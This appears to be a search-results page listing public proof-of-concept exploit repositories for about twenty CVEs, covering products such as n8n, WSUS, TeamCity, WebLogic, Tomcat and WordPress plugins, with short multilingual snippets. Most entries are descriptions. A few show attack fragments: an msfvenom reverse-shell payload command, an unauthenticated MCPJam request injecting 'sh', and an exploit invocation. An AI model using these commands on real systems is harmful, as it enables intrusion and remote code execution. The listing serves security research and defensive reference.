523136 matches found
CVE-2024-26574
CVE-2024-26574 Wondershare Filmora v.13.0.51 - 不安全的权限导致权限提升 描述： Wondershare Filmora 及更低版本中存在不安全的权限漏洞，允许本地非特权攻击者通过精心设计的脚本向可控路径 C:\Users%username%\AppData\Local\Wondershare\Wondershare NativePush 执行任意代码，以 SYSTEM 权限运行。 受影响的组件 路径权限：C:\Users%username%\AppData\Local\Wondershare\Wondershare NativePush A...
n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613
n8n 认证表达式注入远程代码执行 – CVE-2025-68613 严重远程代码执行 CVSS 9.9 在 n8n 工作流自动化工具中 概念验证 – 仅供教育和授权安全研究使用 ⚠️ 重要法律警告 此代码严格仅供教育目的和在受控实验室环境中进行授权安全测试使用。 未经明确书面许可，在生产系统或任何系统上未经授权使用是违法的 ，并且在大多数司法管辖区违反了计算机滥用和网络安全法律。 使用风险自负。作者不对任何滥用行为负责。 漏洞信息...
cve-2025-59287
CVE-2025-59287 - WSUS 利用工具包 作者：adel-h4x0a ⚠️ 仅限教育和授权测试用途 ⚠️ 概述 本工具包演示了 CVE-2025-59287 的利用过程，这是 Windows Server Update Services WSUS 中的一个远程代码执行漏洞。 组件 1. 加密模块 cve-2025-59287-encr.py · 用于 WSUS 通信的 AES 载荷加密 · 支持传统和安全两种加密模式 · 自定义载荷生成 2. 利用模块 cve-2025-59287-exp.py · CVE-2025-59287 的完整利用链 · 健壮的错误处理和重试逻辑 ·...
CVE-2024-27198-POC
CVE-2024-27198 – JetBrains TeamCity 身份验证绕过与远程代码执行PoC 作者： EynaExp 范围： 仅供研究 / 防御验证 / 授权测试 概述 本仓库包含一个概念验证型批量扫描器 ，针对受 CVE-2024-27198 影响的 JetBrains TeamCity 实例。该漏洞为一个身份验证绕过漏洞，可能导致完全的管理员权限接管和远程代码执行（RCE）。 该工具旨在检测存在漏洞的 TeamCity 服务器 ，验证管理访问权限，并可选择根据服务器版本和配置，使用多种技术验证远程命令执行（RCE） 。 支持多线程扫描 、可选代理 以及结构化输出日志 。 ...
CVE-2019-16278
CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Description Remote Code Execution vulnerability in Nostromo nhttpd versions 2&1 Usage...
log4jcheck
Northwave Log4j CVE-2021-44228 检测工具 2021年12月10日（星期五），一个针对 Java 库 'log4j' 2 中远程代码执行（RCE）漏洞的概念验证 1 被发布。此漏洞并未提前向软件开发者披露。该漏洞被追踪为 CVE-2021-44228 3。更多关于该漏洞的信息可在 Northwave Threat Response 4 中找到。 Northwave 创建了一个测试脚本，通过在常见 HTTP 头部中注入 payload 以及作为 HTTP GET 请求的一部分来检查存在漏洞的系统。通过监听包含为目标特制 UUID 的入站 DNS...
CVE-2025-55449-AstrBot-RCE
介绍 AstrBot=3.5.17在源码中硬编码了JWT secret，导致可以任意上传插件，实现RCE 使用 root@kitploit: python main.py 'http://127.0.0.1:6185' 源码 https://github.com/AstrBotDevs/AstrBot.git...
CVE-2020-14882
CVE-2020-14882 此Python脚本旨在利用Oracle WebLogic Server中的远程代码执行漏洞（CVE-2020-14882），在易受攻击的目标服务器上执行命令，并通过HTTP请求捕获其输出。它首先提示输入目标WebLogic URL和网络接口，然后进入一个循环，用户可以在其中输入命令。对于每条命令，它会自动分配一个可用端口，并在该端口上创建一个临时HTTP监听器。脚本会格式化要在目标WebLogic系统上执行的命令，将其封装在一个PowerShell命令中，该命令会通过HTTP...
CVE-2023-26360-RCE
CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java...
CVE-2024-1813-POC
CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - Inyección de Objetos PHP no autenticada 🎥 Demostración de la prueba de concepto De extremo a extremo: un visitante almacena un objeto PHP serializado a través del formulario público de solicitud, el administrador abre la lista de solicitantes ...
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC
CVE-2017-9841 — PHPUnit 远程代码执行 RCE PoC ⚠️ 免责声明： 此工具仅用于教育目的和授权的安全测试 。未经授权对您不拥有或未获明确许可的系统进行测试是非法的 。作者对此工具的任何滥用不承担任何责任。 概述 CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行 RCE 漏洞，影响版本低于 5.6.3 和 6.x 低于 6.4.2 的版本。 该漏洞存在于 src/Util/PHP/eval-stdin.php 中，该文件通过 eval 函数执行从 php://input（POST 请求体）接收的 PHP...
CVE-2025-55182_PoC-Test-Server
CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE 测试服务器...
CVE-2026-59734-POC
黑客闪烁 🚨 CVE-2026-59734 — Coolify RCE 利用 健康检查中的操作系统命令注入 → 远程代码执行...
CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-
CVE-2025-24813 - Apache Tomcat PUT Parcial + Deserialización RCE 📋 Resumen CVE-2025-24813 es una vulnerabilidad de alta gravedad en Apache Tomcat que permite ejecución remota de código no autenticada cuando se cumplen tres condiciones: 1. El servlet predeterminado tiene habilitado el acceso de...
mcp-pwn
CVE-2026-23744 — MCPJam 未授权远程代码执行 概述 MCPJam 是一个开源的 MCP（模型上下文协议）检查器和代理，用于连接、调试和管理 MCP 服务器。版本 = 1.4.3 攻击向量| 网络 — 无需认证 披露日期| 2026-01-15 技术分析 存在漏洞的端点接受未经验证的 JSON POST 请求： root@kitploit: POST /api/mcp/connect HTTP/1.1 Host: :3000 Content-Type: application/json "serverConfig": "command": "sh", "args":...
ClamAV-Milter-Sendmail-0.91.2-Remote-Code-Execution
ClamAV-Milter-Sendmail-0.91.2-Remote-Code-Execution CVE-2007-4560 ClamAV Milter Sendmail 0.91.2 远程代码执行 的利用程序 该利用程序仅供教育用途，不得用于恶意目的。...
CVE-2025-24893-
CVE-2025-24893- CVE-2025-24893 | Vulnerabilidad de ejecución remota de código en la plataforma XWiki prueba de concepto...
apache_audit_cve-2026-23918
cve-2026-23918 针对 CVE-2026-23918 （Apache HTTPD HTTP/2 双重释放 RCE）以及 2026 年 5 月 4 日 Apache 软件基金会安全公告中披露的其他四个相关 CVE 的防御性审计工具。 CVE| 严重性| 组件| 影响| 受影响版本 ---|---|---|---|--- CVE-2026-23918| 高危（CVSS 8.8）| HTTP/2| 双重释放 / RCE| 仅 2.4.66 CVE-2026-24072| 中危| modrewrite（apexpr）| 权限提升| ≤ 2.4.66 CVE-2026-28780| 低...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress Plugin RCE Este repositorio contiene un exploit funcional en Python para CVE-2019-9978, una vulnerabilidad de ejecución remota de código en el plugin Social Warfare para WordPress versión = 3.5.2. Descripción El parámetro swpdebug en admin-post.php permite...